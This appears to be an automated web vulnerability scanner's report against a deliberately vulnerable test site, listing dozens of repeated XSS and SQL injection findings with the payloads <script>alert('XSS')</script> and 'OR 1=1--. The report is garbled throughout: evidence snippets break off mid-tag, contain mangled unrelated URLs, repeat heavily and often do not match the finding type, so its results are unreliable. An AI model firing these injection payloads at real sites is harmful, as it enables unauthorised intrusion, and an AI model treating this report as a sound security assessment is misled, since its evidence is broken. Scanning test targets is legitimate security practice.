## Scan Report for http://testphp.vulnweb.com/

Total URLs Visited: 49 Vulnerabilities Found: 68 Type: xss URL: http://testphp.vulnweb.com/userinfo.php Payload: <script>alert('XSS')</script> Evidence: Error: You have an error in your SQL syntax; check the manual that corresponds to your MyS Type: sqli URL: http://testphp.vulnweb.com/userinfo.php Payload: 'OR 1=1--Evidence: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <a href="https://www.energia.com/content/figures/main\_dynamic\_template.dwt.php" codeOutsideHT <a href="https://www.energia.com/content/figures/main\_dynamic\_template.dwt.php" codeOutsideHT</a> Type: xss URL: http://testphp.vulnweb.com/search.php?test=query Payload: <script>alert('XSS')</script> Evidence: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"</p> "http://www.w3.org/TR/html4/loose.dtd"> <a href="html><!-- InstanceBegin template="/Templates/main\_dynamic\_template.dwt.php" codeOutsideHT Type: sqli URL: http://testphp.vulnweb.com/search.php?test=query Payload: 'OR 1=1--Evidence: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"</p> "http://www.w3.org/TR/html4/loose.dtd"> <a href="https://www.ehrml><!-- InstanceBegin template="/Templates/main\_dynamic\_template.dwt.php" codeOutsideHT Type: sqli URL: http://testphp.vulnweb.com/secured/newuser.php Payload: OR 1=1--Evidence: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4 <html> <head> <title>add new user</title> <meta http-equiv="Content-Type" content="text/html; Type: xss URL: http://testphp.vulnweb.com/search.php?test=query Payload: <script>alert('XSS')</script> Evidence: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <a href="https://www.php".codeOutsideHT"><-three="https://www.php".codeOutsideHT"><-three="https://www.php".codeOutsideHT">

Type: sqli

URL: http://testphp.vulnweb.com/search.php?test=query

Payload: 'OR 1=1--

Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"</p>

"http://www.w3.org/TR/html4/loose.dtd">

<a href="https://www.php".codeOutsideHT</a> <a href="https://www.p

Type: xss

URL: http://testphp.vulnweb.com/userinfo.php

Payload: <script>alert('XSS')</script>

Evidence:

Error: You have an error in your SQL syntax; check the manual that corresponds to your MyS

Type: sqli

URL: http://testphp.vulnweb.com/userinfo.php

Payload: 'OR 1=1--

Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"

"http://www.w3.org/TR/html4/loose.dtd">

<a href="https://www.energia.com/stanceBegin template="/Templates/main dynamic template.dwt.php" codeOutsideHT

Type: xss

URL: http://testphp.vulnweb.com/search.php?test=query

Payload: <script>alert('XSS')</script>

Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"</p>

"http://www.w3.org/TR/html4/loose.dtd">

<a href="html><!-- InstanceBegin template="/Templates/main\_dynamic\_template.dwt.php" codeOutsideHT</a>

Type: sqli

URL: http://testphp.vulnweb.com/search.php?test=query

Payload: 'OR 1=1--

Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"

"http://www.w3.org/TR/html4/loose.dtd">

<a href="https://www.energia.com/content/figures/main\_dynamic\_template.dwt.php" codeOutsideHT <a href="https://www.energia.com/content/figures/main\_dynamic\_template.dwt.php" codeOutsideHT</a>

Type: xss

URL: http://testphp.vulnweb.com/guestbook.php

Payload: <script>alert('XSS')</script>

Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"</p>

"http://www.w3.org/TR/html4/loose.dtd">

<a href="https://www.ehrml><!-- InstanceBegin template="/Templates/main\_dynamic\_template.dwt.php" codeOutsideHT

Type: sqli

URL: http://testphp.vulnweb.com/guestbook.php

Payload: 'OR 1=1--

Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"

"http://www.w3.org/TR/html4/loose.dtd">

<a href="html><!-- InstanceBegin template="/Templates/main\_dynamic\_template.dwt.php" codeOutsideHT

URL: http://testphp.vulnweb.com/search.php?test=query

Payload: <script>alert('XSS')</script>

Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"</p>

"http://www.w3.org/TR/html4/loose.dtd">

<a href="https://www.energia.com/contents/series/main\_dynamic\_template.dwt.php" codeOutsideHT <a href="https://www.energia.com/contents/series/main\_dynamic\_template.dwt.php" codeOutsideHT</a>

Type: sqli

URL: http://testphp.vulnweb.com/search.php?test=query

Payload: 'OR 1=1--

Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"

"http://www.w3.org/TR/html4/loose.dtd">

<a href="html><!-- InstanceBegin template="/Templates/main\_dynamic\_template.dwt.php" codeOutsideHT</a>

Type: xss

URL: http://testphp.vulnweb.com/search.php?test=query

Payload: <script>alert('XSS')</script>

Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"

"http://www.w3.org/TR/html4/loose.dtd">

<a href="https://www.ehrml><!-- InstanceBegin template="/Templates/main\_dynamic\_template.dwt.php" codeOutsideHT

Type: sqli

URL: http://testphp.vulnweb.com/search.php?test=query

Payload: 'OR 1=1--

Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"</p>

"http://www.w3.org/TR/html4/loose.dtd">

<a href="https://www.ehrml><!-- InstanceBegin template="/Templates/main\_dynamic\_template.dwt.php" codeOutsideHT

Type: xss

URL: http://testphp.vulnweb.com/search.php?test=query

Payload: <script>alert('XSS')</script>

Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"</p>

"http://www.w3.org/TR/html4/loose.dtd">

<a href="html><!-- InstanceBegin template="/Templates/main\_dynamic\_template.dwt.php" codeOutsideHT

Type: sqli

URL: http://testphp.vulnweb.com/search.php?test=query

Payload: 'OR 1=1--

Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"</p>

"http://www.w3.org/TR/html4/loose.dtd">

<a href="https://www.ehrml><!-- InstanceBegin template="/Templates/main\_dynamic\_template.dwt.php" codeOutsideHT

Type: sqli

URL: http://testphp.vulnweb.com/cart.php

Payload: 'OR 1=1--

Evidence:

<!DOCTYPE HTML PUBLIC "-/W3C//DTD HTML 4.01 Transitional//EN"</pre>

"http://www.w3.org/TR/html4/loose.dtd">

URL: http://testphp.vulnweb.com/search.php?test=query

Payload: <script>alert('XSS')</script>

Evidence:

<!DOCTYPE HTML PUBLIC "-/W3C//DTD HTML 4.01 Transitional//EN"</p>

"http://www.w3.org/TR/html4/loose.dtd">

<a href="https://www.energia.com/content/figures/main\_dynamic\_template.dwt.php" codeOutsideHT <a href="https://www.energia.com/content/figures/main\_dynamic\_template.dwt.php" codeOutsideHT</a>

Type: sqli

URL: http://testphp.vulnweb.com/search.php?test=query

Payload: 'OR 1=1--

Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"

"http://www.w3.org/TR/html4/loose.dtd">

<a href="html><!-- InstanceBegin template="/Templates/main\_dynamic\_template.dwt.php" codeOutsideHT</a>

Type: sqli

URL: http://testphp.vulnweb.com/cart.php

Payload: 'OR 1=1--

Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"</p>

"http://www.w3.org/TR/html4/loose.dtd">

<a href="html><!-- InstanceBegin template="/Templates/main\_dynamic\_template.dwt.php" codeOutsideHT

Type: xss

URL: http://testphp.vulnweb.com/search.php?test=query

Payload: <script>alert('XSS')</script>

Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"

"http://www.w3.org/TR/html4/loose.dtd">

<a href="html><!-- InstanceBegin template="/Templates/main\_dynamic\_template.dwt.php" codeOutsideHT</a>

Type: sqli

URL: http://testphp.vulnweb.com/search.php?test=query

Payload: 'OR 1=1--

Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"</p>

"http://www.w3.org/TR/html4/loose.dtd">

<a href="https://www.energia.com/contents/main\_dynamic\_template.dwt.php" codeOutsideHT <a href="https://www.energia.com/contents/energi

Type: sqli

URL: http://testphp.vulnweb.com/cart.php

Payload: 'OR 1=1--

Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"

"http://www.w3.org/TR/html4/loose.dtd">

<a href="html><!-- InstanceBegin template="/Templates/main\_dynamic\_template.dwt.php" codeOutsideHT

Type: xss

URL: http://testphp.vulnweb.com/search.php?test=query

Payload: <script>alert('XSS')</script>

Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"</p> "http://www.w3.org/TR/html4/loose.dtd"> <a href="https://www.ehrml><!-- InstanceBegin template="/Templates/main\_dynamic\_template.dwt.php" codeOutsideHT Type: sqli URL: http://testphp.vulnweb.com/search.php?test=query Payload: 'OR 1=1--Evidence: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <a href="https://www.energia.com/content/figures/main\_dynamic\_template.dwt.php" codeOutsideHT <a href="https://www.energia.com/content/figures/main\_dynamic\_template.dwt.php" codeOutsideHT</a> Type: sqli URL: http://testphp.vulnweb.com/cart.php Payload: 'OR 1=1--Evidence: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <a href="https://www.ehrml><!-- InstanceBegin template="/Templates/main\_dynamic\_template.dwt.php" codeOutsideHT URL: http://testphp.vulnweb.com/search.php?test=query Payload: <script>alert('XSS')</script> Evidence: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"</p> "http://www.w3.org/TR/html4/loose.dtd"> <a href="html><!-- InstanceBegin template="/Templates/main\_dynamic\_template.dwt.php" codeOutsideHT Type: sqli URL: http://testphp.vulnweb.com/search.php?test=query Payload: 'OR 1=1--Evidence: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <a href="https://www.ehrml><!-- InstanceBegin template="/Templates/main dynamic template.dwt.php" codeOutsideHT Type: sqli URL: http://testphp.vulnweb.com/cart.php Payload: 'OR 1=1--Evidence: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"</p> "http://www.w3.org/TR/html4/loose.dtd"> <a href="https://www.ehrml><!-- InstanceBegin template="/Templates/main\_dynamic\_template.dwt.php" codeOutsideHT Type: xss URL: http://testphp.vulnweb.com/search.php?test=query Payload: <script>alert('XSS')</script>

Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"</p>

"http://www.w3.org/TR/html4/loose.dtd">

Type: sqli

URL: http://testphp.vulnweb.com/search.php?test=query

Payload: 'OR 1=1--

Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"</p>

"http://www.w3.org/TR/html4/loose.dtd">

<a href="https://www.ehrml><!-- InstanceBegin template="/Templates/main\_dynamic\_template.dwt.php" codeOutsideHT

Type: sqli

URL: http://testphp.vulnweb.com/cart.php

Payload: 'OR 1=1--

Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"</p>

"http://www.w3.org/TR/html4/loose.dtd">

<a href="html><!-- InstanceBegin template="/Templates/main\_dynamic\_template.dwt.php" codeOutsideHT</a>

Type: xss

URL: http://testphp.vulnweb.com/search.php?test=query

Payload: <script>alert('XSS')</script>

Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"

"http://www.w3.org/TR/html4/loose.dtd">

<a href="https://www.ehrml><!-- InstanceBegin template="/Templates/main\_dynamic\_template.dwt.php" codeOutsideHT

Type: sqli

URL: http://testphp.vulnweb.com/search.php?test=query

Payload: 'OR 1=1--

Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"</p>

"http://www.w3.org/TR/html4/loose.dtd">

<a href="https://www.ehrml><!-- InstanceBegin template="/Templates/main\_dynamic\_template.dwt.php" codeOutsideHT

Type: xss

URL: http://testphp.vulnweb.com/search.php?test=query

Payload: <script>alert('XSS')</script>

Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"</p>

"http://www.w3.org/TR/html4/loose.dtd">

<a href="html><!-- InstanceBegin template="/Templates/main dynamic template.dwt.php" codeOutsideHT

Type: sqli

URL: http://testphp.vulnweb.com/search.php?test=query

Payload: 'OR 1=1--

Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"</p>

"http://www.w3.org/TR/html4/loose.dtd">

<a href="https://www.ehrml><!-- InstanceBegin template="/Templates/main\_dynamic\_template.dwt.php" codeOutsideHT

Type: xss

URL: http://testphp.vulnweb.com/search.php?test=query

Payload: <script>alert('XSS')</script>

Evidence:

<!DOCTYPE HTML PUBLIC "-/W3C//DTD HTML 4.01 Transitional//EN"</p>

"http://www.w3.org/TR/html4/loose.dtd">

URL: http://testphp.vulnweb.com/search.php?test=query

Payload: <script>alert('XSS')</script>

Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"</p>

"http://www.w3.org/TR/html4/loose.dtd">

<a href="html><!-- InstanceBegin template="/Templates/main\_dynamic\_template.dwt.php" codeOutsideHT

Type: sqli

URL: http://testphp.vulnweb.com/search.php?test=query

Payload: 'OR 1=1--

Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"

"http://www.w3.org/TR/html4/loose.dtd">

<a href="https://www.ehrml><!-- InstanceBegin template="/Templates/main dynamic template.dwt.php" codeOutsideHT

Type: xss

URL: http://testphp.vulnweb.com/search.php?test=query

Payload: <script>alert('XSS')</script>

Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"</p>

"http://www.w3.org/TR/html4/loose.dtd">

<a href="https://www.ehrml><!-- InstanceBegin template="/Templates/main\_dynamic\_template.dwt.php" codeOutsideHT

Type: sqli

URL: http://testphp.vulnweb.com/search.php?test=query

Payload: 'OR 1=1--

Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"

"http://www.w3.org/TR/html4/loose.dtd">

<a href="html><!-- InstanceBegin template="/Templates/main\_dynamic\_template.dwt.php" codeOutsideHT

Type: xss

URL: http://testphp.vulnweb.com/search.php?test=query

Payload: <script>alert('XSS')</script>

Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"</p> "http://www.w3.org/TR/html4/loose.dtd"> <a href="https://www.ehrml><!-- InstanceBegin template="/Templates/main\_dynamic\_template.dwt.php" codeOutsideHT Type: sqli URL: http://testphp.vulnweb.com/search.php?test=query Payload: 'OR 1=1--Evidence: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <a href="https://www.energia.com/content/figures/main\_dynamic\_template.dwt.php" codeOutsideHT <a href="https://www.energia.com/content/figures/main\_dynamic\_template.dwt.php" codeOutsideHT</a> Type: xss URL: http://testphp.vulnweb.com/search.php?test=query Payload: <script>alert('XSS')</script> Evidence: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <a href="https://www.ehrml><!-- InstanceBegin template="/Templates/main\_dynamic\_template.dwt.php" codeOutsideHT URL: http://testphp.vulnweb.com/search.php?test=query Payload: 'OR 1=1--Evidence: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"</p> "http://www.w3.org/TR/html4/loose.dtd"> <a href="https://www.ehrml><!-- InstanceBegin template="/Templates/main\_dynamic\_template.dwt.php" codeOutsideHT Type: xss URL: http://testphp.vulnweb.com/search.php?test=query Payload: <script>alert('XSS')</script> Evidence: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <a href="https://www.ehrml><!-- InstanceBegin template="/Templates/main dynamic template.dwt.php" codeOutsideHT Type: sqli URL: http://testphp.vulnweb.com/search.php?test=query Payload: 'OR 1=1--Evidence: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"</p> "http://www.w3.org/TR/html4/loose.dtd"> <a href="https://www.ehrml><!-- InstanceBegin template="/Templates/main\_dynamic\_template.dwt.php" codeOutsideHT Type: xss URL: http://testphp.vulnweb.com/search.php?test=query Payload: <script>alert('XSS')</script>

Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"</p>

"http://www.w3.org/TR/html4/loose.dtd">

Type: sqli
URL: http://testphp.vulnweb.com/search.php?test=query
Payload: 'OR 1=1-Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"

"http://www.w3.org/TR/html4/loose.dtd">

<a href="https://www.energia.com/contents/series/main\_dynamic\_template.dwt.php" codeOutsideHT <a href="https://www.energia.com/contents/series/main\_dynamic\_template.dwt.php" codeOutsideHT</a>

Type: xss

URL: http://testphp.vulnweb.com/search.php?test=query

Payload: <script>alert('XSS')</script>

Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"

"http://www.w3.org/TR/html4/loose.dtd">

<a href="html><!-- InstanceBegin template="/Templates/main\_dynamic\_template.dwt.php" codeOutsideHT</a>

Type: sqli

URL: http://testphp.vulnweb.com/search.php?test=query

Payload: 'OR 1=1--

Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"</p>

"http://www.w3.org/TR/html4/loose.dtd">

<a href="https://www.ehrml><!-- InstanceBegin template="/Templates/main\_dynamic\_template.dwt.php" codeOutsideHT

Type: xss

URL: http://testphp.vulnweb.com/search.php?test=query

Payload: <script>alert('XSS')</script>

Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"</p>

"http://www.w3.org/TR/html4/loose.dtd">

<a href="https://www.ehrml><!-- InstanceBegin template="/Templates/main\_dynamic\_template.dwt.php" codeOutsideHT

Type: sqli

URL: http://testphp.vulnweb.com/search.php?test=query

Payload: 'OR 1=1--

Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"</p>

"http://www.w3.org/TR/html4/loose.dtd">

<a href="html><!-- InstanceBegin template="/Templates/main\_dynamic\_template.dwt.php" codeOutsideHT

Type: xss

URL: http://testphp.vulnweb.com/search.php?test=query

Payload: <script>alert('XSS')</script>

Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"</p>

"http://www.w3.org/TR/html4/loose.dtd">

<a href="https://www.ehrml><!-- InstanceBegin template="/Templates/main\_dynamic\_template.dwt.php" codeOutsideHT

Type: sqli

URL: http://testphp.vulnweb.com/search.php?test=query

Payload: 'OR 1=1--

Evidence:

<!DOCTYPE HTML PUBLIC "-/W3C//DTD HTML 4.01 Transitional//EN"</p>

"http://www.w3.org/TR/html4/loose.dtd">

URL: http://testphp.vulnweb.com/search.php?test=query

Payload: <script>alert('XSS')</script>

Evidence:

<!DOCTYPE HTML PUBLIC "-/W3C//DTD HTML 4.01 Transitional//EN"</p>

"http://www.w3.org/TR/html4/loose.dtd">

<a href="html><!-- InstanceBegin template="/Templates/main dynamic template.dwt.php" codeOutsideHT

Type: sqli

URL: http://testphp.vulnweb.com/search.php?test=query

Payload: 'OR 1=1--

Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"</p>

"http://www.w3.org/TR/html4/loose.dtd">

<a href="html><!-- InstanceBegin template="/Templates/main\_dynamic\_template.dwt.php" codeOutsideHT

Type: xss

URL: http://testphp.vulnweb.com/search.php?test=query

Payload: <script>alert('XSS')</script>

Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"</p>

"http://www.w3.org/TR/html4/loose.dtd">

<a href="html><!-- InstanceBegin template="/Templates/main\_dynamic\_template.dwt.php" codeOutsideHT

Type: sqli

URL: http://testphp.vulnweb.com/search.php?test=query

Payload: 'OR 1=1--

Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"

"http://www.w3.org/TR/html4/loose.dtd">

<a href="html><!-- InstanceBegin template="/Templates/main\_dynamic\_template.dwt.php" codeOutsideHT</a>

Type: xss

URL: http://testphp.vulnweb.com/search.php?test=query

Payload: <script>alert('XSS')</script>

Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"</p>

"http://www.w3.org/TR/html4/loose.dtd">

<a href="https://www.energia.com/contents/main\_dynamic\_template.dwt.php" codeOutsideHT <a href="https://www.energia.com/contents/energi

Type: sqli

URL: http://testphp.vulnweb.com/search.php?test=query

Payload: 'OR 1=1--

Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"

"http://www.w3.org/TR/html4/loose.dtd">

<a href="html><!-- InstanceBegin template="/Templates/main\_dynamic\_template.dwt.php" codeOutsideHT

Type: xss

URL: http://testphp.vulnweb.com/search.php?test=query

Payload: <script>alert('XSS')</script>

Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"

"http://www.w3.org/TR/html4/loose.dtd">

<a href="html><!-- InstanceBegin template="/Templates/main\_dynamic\_template.dwt.php" codeOutsideHT

Type: sqli

URL: http://testphp.vulnweb.com/search.php?test=query

Payload: ' OR 1=1--

Evidence:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"

"http://www.w3.org/TR/html4/loose.dtd">

<a href="html><!-- InstanceBegin template="/Templates/main\_dynamic\_template.dwt.php" codeOutsideHT